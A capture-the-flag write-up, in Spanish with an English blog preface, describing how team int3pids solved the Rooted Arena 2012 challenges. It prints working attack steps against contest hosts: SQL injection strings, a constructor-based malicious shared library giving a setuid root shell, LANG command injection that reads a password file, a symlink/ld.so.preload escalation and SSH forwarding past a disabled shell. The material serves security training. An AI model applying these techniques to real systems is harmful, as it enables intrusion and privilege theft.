Wednesday, March 21, 2012

Rooted Arena 2012 - Complete write-up


As you probably know, "int3pids" participated for the first time in this contest... and we won it! :-)

This year's challenges were not so mature and indeed there is a big chance for improvement for the next year. But it was still funny to solve some of them (others were a real PITA).

Now, the complete write-up follows... 

Note #1: We presented it to the Organization in .pdf... and in Spanish. We had no time to translate into English (sorry!).
Note #2: Rules forced us to deliver the doc *before* the contest ended. So don't expect a very elaborated documentation.

Enjoy!

- - -

Rooted Arena 2012
Informe


26 Febrero 2012

Introducción

Este informe detalla el proceso de resolución de las pruebas del concurso RootedArena 2012 desarrollado entre el 17 de Febrero de 2012 y el 26 de Febrero de 2012.

La información disponible al principio del concurso consistía de una tabla con los datos de acceso a las distintas pruebas. Para alguna de las pruebas era necesario descubrir parte de los datos de acceso mientras que para otras toda la información se proporcionaba desde un principio.

La tabla tal cual se podía ver en el PDF entregado a los participantes se reproduce en la siguiente imagen:





Desarrollo de las pruebas

En esta sección se describe el proceso de resolución de cada una de las pruebas completadas durante el concurso. Para las pruebas no completadas, se proporciona una breve descripción de las distintas aproximaciones realizadas.

Las pruebas se encuentran listadas en base al número de prueba, y no al tiempo de resolución de las mismas.


Prueba 00

Resolución

Realizando un escaneo de la red obtenemos la siguiente lista de hosts activos:

Host 10.1.0.1 appears to be up.
Host 10.1.0.21 appears to be up.
Host 10.1.0.22 appears to be up.
Host 10.1.0.23 appears to be up.
Host 10.1.0.24 appears to be up.
Host 10.1.0.25 appears to be up.
Host 10.1.0.26 appears to be up.
Host 10.1.0.254 appears to be up.

Se puede ver que el host 10.1.0.1 parece activo pero no aparecía en el listado de máquinas de pruebas. Realizamos un escaneo de puertos y descubrimos que en esta máquina se puede acceder a un servidor DNS. Obteniendo información de la clase chaos del DNS averiguamos el hostname ctf2012:

$ dig hostname.bind txt chaos @10.1.0.1
; <<>> DiG 9.7.3 <<>> hostname.bind txt chaos @10.1.0.1
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 19104
;; flags: qr aa rd; QUERY: 1, ANSWER: 1, AUTHORITY: 1, ADDITIONAL: 0
;; WARNING: recursion requested but not available

;; QUESTION SECTION:
;hostname.bind.                 CH      TXT

;; ANSWER SECTION:
hostname.bind.          0       CH      TXT     "ctf2012"

;; AUTHORITY SECTION:
hostname.bind.          0       CH      NS      hostname.bind.

;; Query time: 39 msec
;; SERVER: 10.1.0.1#53(10.1.0.1)
;; WHEN: Sun Feb 26 22:02:33 2012
;; MSG SIZE  rcvd: 65

Seguidamente obtenemos los datos asociados a este host:

$ dig ctf2012 ANY @10.1.0.1

; <<>> DiG 9.7.3 <<>> ctf2012 ANY @10.1.0.1
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 4997
;; flags: qr aa rd; QUERY: 1, ANSWER: 3, AUTHORITY: 0, ADDITIONAL: 1
;; WARNING: recursion requested but not available

;; QUESTION SECTION:
;ctf2012.                       IN      ANY

;; ANSWER SECTION:
ctf2012.                604800  IN      SOA     localhost. root.localhost. 31338 604800 86400 2419200 604800
ctf2012.                604800  IN      NS      ns.ctf2012.
ctf2012.                604800  IN      TXT     "prueba00 key=quite_clever_dns_is_useful"

;; ADDITIONAL SECTION:
ns.ctf2012.             604800  IN      A       10.1.0.1

;; Query time: 42 msec
;; SERVER: 10.1.0.1#53(10.1.0.1)
;; WHEN: Sat Feb 25 16:26:24 2012
;; MSG SIZE  rcvd: 160

Clave

La clave para obtener la puntuación de esta prueba es: quite_clever_dns_is_useful


Prueba 01

Resolución

Nos conectamos vía SSH y nos movemos al directorio /home/ctf01. Allí encontramos un archivo LEEME cuyo contenido es “La clave es el Password.”. Posteriormente, encontramos un directorio con registros del sistema en /logs, y analizando el contenido de los logs encontramos el siguiente texto:

Password: kLmmNooP0

Clave

La clave para obtener la puntuación de esta prueba es: kLmmNooP0


Prueba 02

Resolución

Al acceder al home del usuario proporcionado nos encontramos con 2 pcap y un archivo llamado cryptcat que se encuentra vacío y al cual no podemos acceder. Descargamos los pcap y analizamos el archivo llamado prueba2.cap. Podemos ver una conexión con un intercambio de datos sobre TCP, que asumimos está cifrada con cryptcat.

Tras varios intentos de reproducir los datos y descifrarlos con cryptcat conseguimos el resultado con los siguientes comandos tras extraer los datos del pcap al archivo flujo:

$ cryptcat -k kLmmNooP0 -l -p 8000 > decrypted
$ cat flujo | nc -v localhost 8000

Con esto obtenemos un archivo PDF, que contiene el siguiente código JavaScript:

7 0 obj
<<
 /Type /Action
 /S /JavaScript
 /JS (app.alert(FileNM);app.alert({cMsg: 'This PDF was created using Didier Stevens tools. Challenge key is = [didiermola]', cTitle: 'RootedCON2012 CTF: makepdf 1_1 - PRUEBA2 MUY SIMPLE', nIcon: 3});)
>>
endobj

Clave

La clave para obtener la puntuación de esta prueba es: didiermola


Prueba 03

Resolución

En el directorio home del usuario ctf03 se puede encontrar una imagen de 512MB. Al descargarla y hacer un strings se puede comprobar que se trata de un sistema de ficheros, pero que al intentar montarlo falla puesto que la imagen está corrupta.

Tras varios intentos de recuperar el sistema de ficheros con Testdisk, para intentar conseguir un archivo potencialmente interesante que aparece al hacer strings (aparece la siguiente ruta /home/AAAAAA/CTF2012/AAA/AAAAA/AAAA/rooted.txt), decidimos simplemente seguir analizando la salida de strings.

Tras un tiempo mirando cadenas sin sentido, aparecen las siguientes frases:
las coordenadas están en los ficheros.
you can find coordinates into the files.

Tras esto, pasamos foremost en busca de algún fichero que pueda contener coordenadas. Las primeras ideas apuntan a ficheros JPEG con las coordenadas en los metadatos EXIF. Sin embargo, este camino parece llevar a ninguna parte. Entre los archivos recuperados con foremost aparecen dos archivos wav, cuyo contenido consiste claramente de tonos DMTF.

Tras decodificarlos, obtenemos los siguientes valores: 51594744 y 00443394. Lo siguiente es jugar con Google Maps y varias combinaciones de estos números. Tras varias pruebas que nos llevan al medio del océano y a partes que no nos dicen nada, llegamos al siguiente punto:



Cómo se puede observar en el mapa se trata de Bletchley Park, localización famosa por su utilización por la inteligencia aliada durante la II Guerra Mundial como centro de criptoanálisis.

Clave

La clave para obtener la puntuación de esta prueba es: Bletchley Park


Prueba 04

Resolución

Tras acceder al home del usuario, podemos ver un shell script con nombre sender. Analizando el script, vemos que extrae un fichero XML de él. Extrayendo dicho fichero con uudecode obtenemos los siguientes datos:


ctf04
ppLggd099
R3Sti
1
md5


Probamos varias combinaciones de esta información cómo md5(time + seed + pass), md5(seed+pass+time), etc. Hasta dar con md5(pass+seed) que nos da el token correcto.

Clave

La clave para obtener la puntuación de esta prueba es: 9073a59977303ebdfea39302f407cc6e


Prueba 05

Resolución

La contraseña de acceso al servidor SSH para el usuario ctf05 resulta ser el mismo password obtenido en el archivo XML de la prueba 04. Tras acceder al SSH encontramos un APK con una aplicación Android a reversear en /usr/CTF/prueba05/crackme2.apk.

Mediante dex2jar convertimos el apk en jar y procedemos a decompilarlo usando JD-GUI. Con esto, podemos ver que la aplicación contiene un receptor de SMSs cuyo acceso parece ser protegido por una clave.

Analizando la clase SMSReceiver vemos que en primer lugar valida los SMS recibidos usando TDES para descifrar valores obtenidos de los recursos del APK. Una vez validado el SMS, se inicia la clase KeyScreen, que pide una clave y la valida de una forma similar.

Finalmente, cuando esta clave es correcta se llama a CrackmeDone, que a su vez descifra la clave final desde los recursos del APK. Puesto que no se disponía del entorno de ejecución de Android cuando se realizó la prueba, se decidió resolverla estáticamente.  El código que muestra la clave final es el siguiente:

package com.android.crackme;

import android.app.Activity;
import android.content.res.Resources;
import android.os.Bundle;
import android.widget.TextView;
import com.chilkatsoft.a;

public class CrackmeDone extends Activity
{
  public void onCreate(Bundle paramBundle)
  {
    super.onCreate(paramBundle);
    setContentView(2130903042);
    TextView localTextView = (TextView)findViewById(2131034115);
    a locala = new a();
    if (!locala.g("Belén Esteban, prinsesa der pueblo0o0h!"));
    while (true)
    {
      return;
      locala.d("3des");
      locala.f("cbc");
      locala.b();
      locala.a();
      locala.c("hex");
      locala.e("md5");
      locala.b(getResources().getString(2130968579), "hex");
      locala.a(locala.b(getResources().getString(2130968580)), "hex");
      String str = locala.a(getResources().getString(2130968581));
      localTextView.setText("" + str + "\n");
    }
  }
}

Para reproducir dicho código, se utilizó el siguiente script Python para obtener la clave final, utilizando las mismas librerías criptográficas usadas por el crackme. Antes de ello, necesitamos extraer las cadenas de los recursos y averiguar qué cadena pertenece a cada parámetro numérico utilizado en el código. Para ello usamos apktool:

import sys
import chilkat
import binascii


def mdecode (str):
    out = ""
    for e in str:
        out = out + chr( (ord(e)-32+47)%94 + 32)
    return out

crypt = chilkat.CkCrypt2()

success = crypt.UnlockComponent("Anything for 30-day trial.")
if (success != True):
    print "Crypt component unlock failed"
    sys.exit()

#  Specify 3DES for the encryption algorithm:
crypt.put_CryptAlgorithm("3des")

crypt.put_CipherMode("cbc")
crypt.put_KeyLength(192)
crypt.put_PaddingScheme(0)
crypt.put_EncodingMode("hex")
crypt.put_HashAlgorithm("md5")

keyAscii = "000102030405060708090A0B0C0D0E0F0001020304050607"
ivAscii = "0001020304050607"
crypt.SetEncodedIV(ivAscii,"hex")
crypt.SetEncodedKey(crypt.hashStringENC(keyAscii),"hex")

encStr = "5C2259CE34701A6C79FE3E054197344D14C8817DDE225A74333EC66D6D45F41141AE9B5264A036EA4C4510D6F3DC27D5"

#  Now decrypt:
decStr = crypt.decryptStringENC(encStr)
print decStr

Una vez ejecutado, el resultado es el siguiente:

Here you have your key: c4r4c0l3s_3n_pr1m4v3r4!

Además de esta clave final, también desciframos las otras cadenas mediante scripts similares por si fuesen útiles para otras pruebas. El resultado de descifrar las otras dos cadenas es el siguiente:

chuck_n0rr1s_t0d0p0d3r0s0
ch4ll3ng3_s0lv3d?_n0p3_1s_chuck_t3st4

Para estas últimas hubo que sacar el código de la clase CipherAlgorithm mediante baksmali, puesto que JD-GUI no lo reconstruye correctamente. El código obtenido con baksmali es el siguiente:

:goto_0
   if-lt v0, v3, :cond_0

   invoke-virtual {v1},
Ljava/lang/StringBuilder;->toString()Ljava/lang/String;

   move-result-object v0

   return-object v0

   :cond_0
   aget-char v4, v2, v0

   add-int/lit8 v4, v4, -0x20

   add-int/lit8 v4, v4, 0x2f

   rem-int/lit8 v4, v4, 0x5e

   add-int/lit8 v4, v4, 0x20

   int-to-char v4, v4

   invoke-virtual {v1, v4},
Ljava/lang/StringBuilder;->append(C)Ljava/lang/StringBuilder;

   add-int/lit8 v0, v0, 0x1

   goto :goto_0

Que implementado en Python queda como sigue:

def mdecode (str):
    out = ""
    for e in str:
        out = out + chr( (ord(e)-32+47)%94 + 32)
    return out

Clave

La clave para obtener la puntuación de esta prueba es: c4r4c0l3s_3n_pr1m4v3r4!


Prueba 06

Resolución

Tras escanear la IP proporcionada ( 10.1.0.23 ) obtenemos la siguiente lista de servicios abiertos:

$ nmap scan report for 10.1.0.23
 Host is up (0.036s latency).
 Not shown: 1017 closed ports
 PORT   STATE SERVICE
 22/tcp open  ssh
 47/tcp open  ni-ftp
 80/tcp open  http
 81/tcp open  hosts2-ns
 86/tcp open  mfcobol
 87/tcp open  priv-term-l
 88/tcp open  kerberos-s
Además, el fichero otraprueba.pcap obtenido en la prueba 02 nos proporciona información sobre el servicio en el puerto 80 de esta máquina. Tras analizar las capturas, creamos un script en python para pasar valores arbitrarios (incluyendo imágenes con texto creadas con convert de ImageMagick) al servicio.

El servicio responde en ocasiones detectando la imagen, y en otras ocasiones con CODE IS INVALID. Además, la máquina sufre problemas continuos resultando en inaccesibilidad al servicio, bien por problemas de conexión o por errores tipo Internal Server Error.

Cambiando los valores en la imagen por otros valores intentando buscar inyecciones SQL, obtenemos el siguiente error usando el texto 000000’ /* AA:

<?xml version="1.0" encoding="UTF-8"?><soap:Envelope
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:soapenc="http://schemas.xmlsoap.org/soap/encoding/"
xmlns:xsd="http://www.w3.org/2001/XMLSchema"
soap:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"
xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body><namesp1:plateResponse xmlns:namesp1="urn:ws">
<s-gensym3 xsi:type="xsd:string">ERROR SQL 4097 OR PARSE ERROR
</s-gensym3></namesp1:plateResponse></soap:Body></soap:Envelope>

 Además, también obtenemos otro error SQL distinto al pasar cadenas como 000001´OR 1=1 /*:

<?xml version="1.0" encoding="UTF-8"?><soap:Envelope
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:soapenc="http://schemas.xmlsoap.org/soap/encoding/"
xmlns:xsd="http://www.w3.org/2001/XMLSchema"
soap:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"
xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body><namesp1:plateResponse xmlns:namesp1="urn:ws">
<s-gensym3 xsi:type="xsd:string">ERROR SQL 4098: SELECT QUERY FAILED ON [000001]
</s-gensym3></namesp1:plateResponse></soap:Body></soap:Envelope>

En cambio, realizando ligeros cambios en la sentencia obtenemos resultados que parecen incoherentes: la petición es aceptada perfectamente y nuestra cadena es devuelta por el servicio o el parse error anterior es devuelto.

Esto nos lleva a pensar que no hay un servidor SQL real detrás del servicio. Tras varias pruebas más y paciencia probando con UNION SELECT´s con valores distintos, llegamos a la combinación mágica:

000000\'     UNION      SELECT     \'1\'  ,  \'1\'  ,  \'1\' /*

Utilizando este texto en la imagen recibimos la siguiente respuesta:

<?xml version="1.0" encoding="UTF-8"?><soap:Envelope
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" 
xmlns:soapenc="http://schemas.xmlsoap.org/soap/encoding/" 
xmlns:xsd="http://www.w3.org/2001/XMLSchema" 
soap:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/" 
xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><namesp1:plateResponse 
xmlns:namesp1="urn:ws"><s-gensym3 xsi:type="xsd:string">31337OWNED
</s-gensym3></namesp1:plateResponse></soap:Body></soap:Envelope>

Como se puede observar, no hay en ningún momento referencias a campos conteniendo la clave ni nada similar. Con una sentencia así, uno esperaría obtener campos con valor 1 en el resultado en lugar de una clave tal cual.

Esto lleva a la conclusión de que no hay motor SQL detrás de la prueba sino una serie de comprobaciones sobre la cadena obtenida tras el paso por el OCR.

Clave

La clave para obtener la puntuación de esta prueba es: 31337OWNED

Prueba 07

Resolución

De nuevo un servicio en la máquina maldita. Esta vez se trata del puerto 81, que indica ser un Roxen Web Server 0.99.19B. Además del 81, este servicio estaba corriendo en otros puertos como el 86, 87 y 88, aunque aparentemente era el mismo servicio puesto que cuando caía uno caían todos.

Al hacer una petición GET al servicio, se obtiene un error HTTP 401 Unauthorized:

UTCDate: Sat Feb 25 14:04:08 UTC 2012

HTTP/1.1 401 Unauthorized
Date: Sat, 25 Feb 2012 14:04:08 GMT
Server: Roxen Web Server 0.99.19B
Content-Type: text/html
Content-Length: 59

<title>401 Unauthorized</title>
<h1>401 Unauthorized</h1>

En este caso, hasta que no aparecen las pistas no sabemos muy bien por dónde tirar. Aunque se realizaron pruebas con métodos HTTP inválidos (ver http://www.kernelpanik.org/docs/kernelpanik/bme.esp.pdf como referencia a estos métodos para saltarse la autenticación HTTP) en ningún caso se prueba con GETT puesto que los ataques conocidos funcionan con cualquier método.

Tras conocer la pista de que GETT es el método a utilizar, aparentemente arbitrario, intentamos obtener listados de directorios de diversas formas. Al final probamos con GETT /key obteniendo la clave correcta:

$ echo -en "GETT /key\n\n" | nc 10.1.0.23 81 
UTCDate: Sat Feb 25 14:01:49 UTC 2012

Key=UNDESAFIOTRIVIAL

Clave

La clave para obtener la puntuación de esta prueba es: UNDESAFIOTRIVIAL


Prueba 08

Resolución

La prueba 08 está otra vez albergada en la máquina maldita, con lo cual no podemos acceder a ella durante bastante parte del reto. Tras conocer mediante las pistas que existen datos necesarios para la prueba 08 en la prueba 07, empezamos a probar más métodos de obtener listados de directorios: 
.DS_Store, .listing, .listingX, etc. Finalmente damos con un listado en files que contiene lo siguiente:

$ echo -en "GETT /files\n\n" | nc 10.1.0.23 81
FILES                   <this>
LEEME                   3b33cdb923442b126b516e61d770179f
prueba08.ctf2012        http://prueba08.ctf2012:81/tok/<tokenvalue>
seed.eid                4df041ef22f0aa49d41e85dae32b3aad
RTDToken.7z             4bd1472270ba572d3d81c2cd244717e7
k?????????????????????????????????????????????????????b8

Aunque no podemos bajar el archivo 7z, al conectar al IRC vemos que el mismo está en el topic para poder descargarlo desde https://arena2012.rootedcon.es/pruebas/RTDToken.7z. Tras descargarlo y ejecutarlo, metemos el PIN que ya hemos obtenido del ZIP de la prueba 12 (mediante fuerza bruta).

Con dicho PIN, obtenemos un token que utilizamos para hacer una petición al mismo servicio de la prueba 07. El resultado es el siguiente:

$ echo -en "GETT /tok/9F652850\n\n" | nc 10.1.0.23 81 
TOKEN_OK: 9F652850
PRUEBA08_KEY: IWASMADEWITHSTOLENSEEDS

Luego nos damos cuenta que con cualquier token nos está dando la clave correcta. Para comprobar esto y que no se trata de un error por nuestra parte, entramos en la máquina bastilla1 en la cual ya disponemos de acceso root y un binario con netcat.

Desde allí lanzamos la petición con un token puesto a ZZZZZZZZ varias veces. Aunque no siempre nos da la clave, sí que lo hace en varias ocasiones:

root@bastilla1:~# echo -en "GETT /tok/ZZZZZZZZ\n\n" | ./nc 10.1.0.23 81
YOURTOKEN: ZZZZZZZZ
root@bastilla1:~# echo -en "GETT /tok/ZZZZZZZZ\n\n" | ./nc 10.1.0.23 81
YOURTOKEN: ZZZZZZZZ
root@bastilla1:~# echo -en "GETT /tok/ZZZZZZZZ\n\n" | ./nc 10.1.0.23 81
YOURTOKEN: ZZZZZZZZ
root@bastilla1:~# echo -en "GETT /tok/ZZZZZZZZ\n\n" | ./nc 10.1.0.23 81
YOURTOKEN: ZZZZZZZZ
root@bastilla1:~#
root@bastilla1:~# echo -en "GETT /tok/ZZZZZZZZ\n\n" | ./nc 10.1.0.23 81
TOKEN_OK: ZZZZZZZZ
PRUEBA08_KEY: IWASMADEWITHSTOLENSEEDS
root@bastilla1:~# echo -en "GETT /tok/ZZZZZZZZ\n\n" | ./nc 10.1.0.23 81
TOKEN_OK: ZZZZZZZZ
PRUEBA08_KEY: IWASMADEWITHSTOLENSEEDS
root@bastilla1:~# echo -en "GETT /tok/ZZZZZZZZ\n\n" | ./nc 10.1.0.23 81
TOKEN_OK: ZZZZZZZZ
PRUEBA08_KEY: IWASMADEWITHSTOLENSEEDS

Esto nos indica que el token aparentemente no es necesario, o que lo devuelve correctamente durante buena parte del tiempo siempre que la longitud sea la correcta.

Clave

La clave para obtener la puntuación de esta prueba es: IWASMADEWITHSTOLENSEEDS


Prueba 09

Resolución

Analizando el texto cifrado vemos cadenas que se repiten como "pobrovWmviB". Haciendo búsquedas en Google por algunas de ellas (de diferentes tamaños) llegamos a la página: http://easyciphers.com/

Allí nos llama la atención el cifrado "Affine". Tras documentarnos, buscamos una manera de romper este cifrado. Necesitamos obtener los parámetros "a" y "b". Hay 312 claves (combinaciones) posibles, no es mucho, pero necesitamos alguna herramienta como "Norse Cryptanalysis Tools". Funciona introduciendo una cadena que creamos debe existir en el texto en claro (ej: "the" en textos en inglés) y te devuelve las combinaciones de "a" y "b" que producen la cadena anterior en el texto sin cifrar. En nuestro caso utilizamos "porque" (cifrado: czifrv).

Una vez obtenidos los valores de "a" y "b" apropiados (a=3, b=9), podemos descifrar el texto con la herramienta anterior o por ejemplo con esta otra que tenemos online:
http://rumkin.com/tools/cipher/affine.php

Clave

La clave para obtener la puntuación de esta prueba es: Alonso Quijano


Prueba 10

Resolución

Basándonos en la última pista publicada, obtenemos el texto descifrado ejecutando:

$ openssl enc -d -des -in prueba10.bin -k 2102NOCdetooR
  -out descifrado.txt

Clave

La clave para obtener la puntuación de esta prueba es: 2102NOCdetooR


Prueba 11

Resolución

Esta prueba no se llegó a resolver durante el concurso. Desde que supimos que se trataba de una máquina enigma tras recibir la primera pista, empezamos a realizar fuerza bruta con una herramienta de Didier Stevens ligeramente modificada.

Por alguna razón, no pudimos identificar nada coherente en la salida de la herramienta. Tras ver las últimas pistas, ahora mismo se podría resolver utilizando un simple script de perl y el módulo Crypt::Enigma obtenido desde CPAN, haciendo una pequeña fuerza bruta de un número reducido de opciones.

Clave

Esta prueba no se llegó a resolver durante el concurso.


Prueba 12

Resolución

El primer día obtuvimos por fuerza bruta la contraseña del fichero ZIP (03133700) y probamos sin éxito con varias herramientas de esteganografía, pero no logramos dar con la solución hasta la publicación de la última pista. Vimos un bloque sospechoso a partir del offset 496 del fichero descomprimido (1.avi), que resultó ser el texto “SUIT UP?” codificado con EBCDIC. Sin embargo, el último carácter (0xBB) no decodificaba correctamente y en principio no tiene equivalente en dicha codificación, por lo que probamos algunas variantes hasta dar con la solución final.

Clave

La clave para obtener la puntuación de esta prueba es: SUIT UP!


Prueba 13

Resolución

Tras probar varias de las claves obtenidas en otros niveles, logramos acceder al usuario bastilla1 con la clave del nivel 0, quite_clever_dns_is_useful. Analizando la máquina observamos que existe un directorio /CTF con el siguiente contenido:

bastilla1@bastilla1:/CTF$ ls -la
total 20
drwxr-xr-x  3 root      root      4096 Feb 24 01:33 .
drwxr-xr-x 21 root      root      4096 Feb 19 13:20 ..
drwx------  2 bastilla2 bastilla2 4096 Feb 20 01:44 plugins
--ws--s--x  1 root      root      5832 Jan 28 01:27 restme

Se puede observar un binario con setuid root, que es claramente el objetivo de la prueba. Al ejecutar el binario se obtiene la siguiente salida:

[RootedCON 2012 Challenges]
Starting RESTME process...
[*] Executing validation checks: .......
[*] Running...
PLUGIN=[/CTF/plugins/libctf.so.0]
[RES]                   Valx=1
[RES second stage]      Valx=2

Podemos ver que el binario carga una librería compartida del directorio plugins, que pertenece al usuario bastilla2. Este usuario no es accesible vía SSH como podemos observar en el fichero /etc/passwd:
bastilla2:x:1001:1001:Bastilla 2,,,:/CTF/plugins:/bin/false

Puesto que mediante un escaneo de puertos habíamos determinado que existía un servidor FTP en el puerto 21, intentamos acceder con el usuario bastilla2 y diversos passwords. Al intentar con bastilla2 conseguimos acceso al FTP.

Intentando pasar distintos parámetros al binario nos damos cuenta que el número utilizado en el nombre de la librería cambia con el primer carácter del primer parámetro. Con esto, y mediante el acceso FTP al directorio de plugins, subimos un fichero compartido con un constructor que ejecuta una shell:

#include <stdio.h>

static void __attribute__((constructor))  my_init(void)
{
      setreuid(0,0);
      unlink("/home/eleva4/PWNED]");
      execl("/bin/bash","bash",(char *)0);
}

Tras compilar y subir este archivo como libctf.so.1 y ejecutar el binario con el parámetro 1 conseguimos la shell de root:

bastilla1@bastilla1:/CTF$ ./restme 1
[RootedCON 2012 Challenges]
Starting RESTME process...
[*] Executing validation checks: ............
[*] Running...
PLUGIN=[/CTF/plugins/libctf.so.1]
bash-4.1# cat KEY
L33TDYNLOADING

Tras obtener este acceso, cambiamos el password de root y de los demás usuarios de la máquina, cerramos cualquier conexión SSH abierta por otros usuarios y borramos la librería utilizada para elevar privilegios.

Clave

La clave para obtener la puntuación de esta prueba es: L33TDYNLOADING


Prueba 14

Resolución

De nuevo conectamos a la máquina objetivo mediante el uso del usuario bastilla2 y el password obtenido como solución a la prueba 00. A partir de ahí, buscamos binarios con los flags setuid activos que podamos ejecutar con este usuario. El primero que llama la atención es el siguiente archivo:

-rwsr-sr-x 1 eleva1 eleva1 3104 Feb  3 23:10 /usr/include/lct/.. /eleva

Al ejecutarlo obtenemos automáticamente acceso shell con el usuario eleva1. Esto nos indica que ahora toca buscar elevar privilegios a eleva2. Si nos movemos al home del usuario nos encontramos con un fichero eleva2 que de nuevo nos permitirá elevar privilegios:

---s--s--x 1 eleva2 eleva2 3880 Feb  3 23:48 eleva2

Buscando por la máquina también encontramos unos templates en /usr/share/eleva que parecen variar con el lenguaje utilizado y contienen los datos mostrados por eleva2 por pantalla. Intentamos inyectar comandos en la variable de entorno LANG para ver si el programa no la sanitiza correctamente al utilizarla:

eleva1@bastilla2:~$ LANG=";id;" ./eleva2 aa
Hola / Hello aa
cat: /usr/share/eleva/: Is a directory
uid=1001(eleva1) gid=1001(eleva1) euid=1002(eleva2) egid=1002(eleva2) groups=1002(eleva2),1001(eleva1)
sh: /template: No such file or directory

Por tanto, podemos ejecutar comandos como el usuario eleva2. Esto nos permite obtener el password del usuario:

eleva1@bastilla2:~$ LANG=";cat /home/eleva2/PASSWD;" ./eleva2 aa
Hola / Hello aa
cat: /usr/share/eleva/: Is a directory
avanzandofuerte
sh: /template: No such file or directory
eleva1@bastilla2:~$

En este punto, nos damos cuenta que el binario nmap con suid del usuario eleva4 es ejecutable por cualquier usuario de la máquina. Por tanto, decidimos centrarnos en dicho binario en lugar de explotar eleva3. Tras buscar por vulnerabilidades de la versión de nmap en cuestión, encontramos que ejecutando el siguiente comando podemos obtener el password del usuario eleva4:

eleva1@bastilla2:~$ nmap -iL /home/eleva4/PASSWD localhost 
Starting Nmap 5.00 ( http://nmap.org ) at 2012-02-19 21:17 MSK
Failed to resolve given hostname/IP: muyhabilinteractivo.  Note that you can't use '/mask' AND '1-4,7,100-' style IP ranges
WARNING: No targets were specified, so 0 hosts scanned.
Nmap done: 0 IP addresses (0 hosts up) scanned in 0.08 seconds

Tras acceder como eleva4, decidimos sobrescribir el binario nmap para que cualquier usuario que no haya accedido a dicho nivel todavía no sea capaz de hacerlo. Seguidamente encontramos el siguiente archivo:

$ ls /usr/ARENA/eleva44.pl -l
-r-s--x--x 1 root root 1703 Feb 18 00:13 /usr/ARENA/eleva4.pl

Este binario es lanzado vía cron cada 5 minutos, como se puede observar en el cron.log:
Feb 20 03:35:01 bastilla2 /USR/SBIN/CRON[29700]: (root) CMD (/usr/ARENA/eleva4.pl)

Analizando el home del usuario eleva4 observamos que el fichero status.log contiene la salida del script perl anterior. Aunque no conocemos el código, podemos observar que dichos datos vienen del servicio 10.1.0.23:47, puesto que contiene líneas como las siguientes:

OK in exec: [logger 1329693938 Remote service 47 checked OK]

Puesto que podemos controlar el fichero status.log eliminándolo o creando uno nuevo, y el programa lo abre como root y añade líneas a éste, en un primer momento decidimos reemplazarlo por un enlace simbólico a /etc/ld.so.preload. De esta forma esperamos poder cargar una librería con nombre OK en cualquier fichero que se ejecute en el sistema, y de ahí escalar privilegios mediante cualquier binario setuid.

Sin embargo, esto no funciona puesto que aún no controlamos los datos escritos, y el mecanismo de preloading mediante este archivo requiere que se proporcionen rutas absolutas. Seguidamente, observamos unos ficheros aux.XXX en /tmp con el siguiente contenido:


Con esto, decidimos eliminar todos los ficheros aux.XXX y crear enlaces simbólicos a un fichero controlado por nosotros en el directorio /home/eleva4. En este fichero escribimos la IP de la máquina bastilla1 que ya controlamos, y ponemos un netcat a enviar respuestas a cualquier petición con este contenido:

HTTP/1.1 200 OK
Date: Sun, 19 Feb 2012 22:02:32 GMT
Server: Apache
Last-Modified: Wed, 08 Feb 2012 13:30:48 GMT
ETag: "3820abc-c-4b873e74a5200"
Accept-Ranges: bytes
Content-Length: 28
Vary: Accept-Encoding
Content-Type: text/html

STATUS = /home/eleva4/PWNED

Una vez hecho esto, esperamos a que se lance el proceso mediante cron y observamos que ahora todos los procesos intentan cargar dicha librería. Entonces creamos la librería con el mismo código usado en la prueba de bastilla1 y ejecutamos un binario suid root (ping) para obtener root.

sh-4.1# cat KEY
HEAVYLOCALLOLCAT

De nuevo, una vez obtenido acceso root, cambiamos todos los passwords y modificamos los ficheros con claves en la máquina. Echamos a cualquier usuario conectado en este punto y nos aseguramos acceso continuado a la máquina durante el resto del concurso por si fuese necesario.

Clave

La clave para obtener la puntuación de esta prueba es: HEAVYLOCALLOLCAT


Prueba 15

Resolución

Con las pistas obtenidas y la información encontrada en el archivo LEEME~ en la prueba 07, intentamos probar el par arenahip:arenahop como usuario y contraseña para la máquina 10.1.0.23 vía SSH. Enseguida nos damos cuenta que el acceso está cerrado, probablemente mediante el uso de /bin/false como shell.

Sin embargo, tras una rápida búsqueda en google, se puede comprobar que dicha protección sigue permitiendo realizar port forwarding. Por tanto, en un terminal ejecutamos la siguiente línea de comandos para redirigir el puerto 4000 local al puerto ssh de la máquina 10.1.0.27:

$ ssh -L 4000:10.1.0.27:22 arenahip@10.1.0.23 -vN

Seguidamente, conectamos a dicha máquina con otra terminal y los mismos datos de acceso:

$ ssh arenahip@localhost -p 4000
arenahip@localhost's password:
Last login: Fri Feb 24 00:33:08 2012 from 10.1.0.23
arenahip@prueba15:~$ ls
KEY
arenahip@prueba15:~$ cat KEY
KEY=BOUNCIN'JACKFLASH
arenahip@prueba15:~$


Clave

La clave para obtener la puntuación de esta prueba es: BOUNCIN'JACKFLASH


Conclusiones


El concurso ha estado divertido pero consideramos que se ha abusado del concepto de "idea feliz". Había pruebas que simplemente no se podían resolver sin pistas; otras con grandes incoherencias (como la 06 del falso "SQL").

Tampoco ha ayudado que haya pruebas que dependan de otras, en especial aquellas como la 07, que estuvieron caídas la mayor parte del concurso y provocando un enorme "atasco" entre los participantes. Y por último, el tener que "adivinar" passwords (tomarlos de otras pruebas, fuerza bruta, etc) tampoco es buena idea. Pensamos que se ha hecho así para dilatar artificialmente el tiempo de concurso, cosa que tampoco consideramos apropiada: el concurso no debería durar más de un fin de semana e idealmente todas las pruebas se deberían de poder resolver técnicamente sin necesidad de pistas ni "pensamiento lateral". Esto último no es real en absoluto puesto que en la vida real un atacante dispone de un "contexto" (y por tanto, de información adicional con la que jugar y enlazar con ideas), algo de lo que se carecía en este caso.

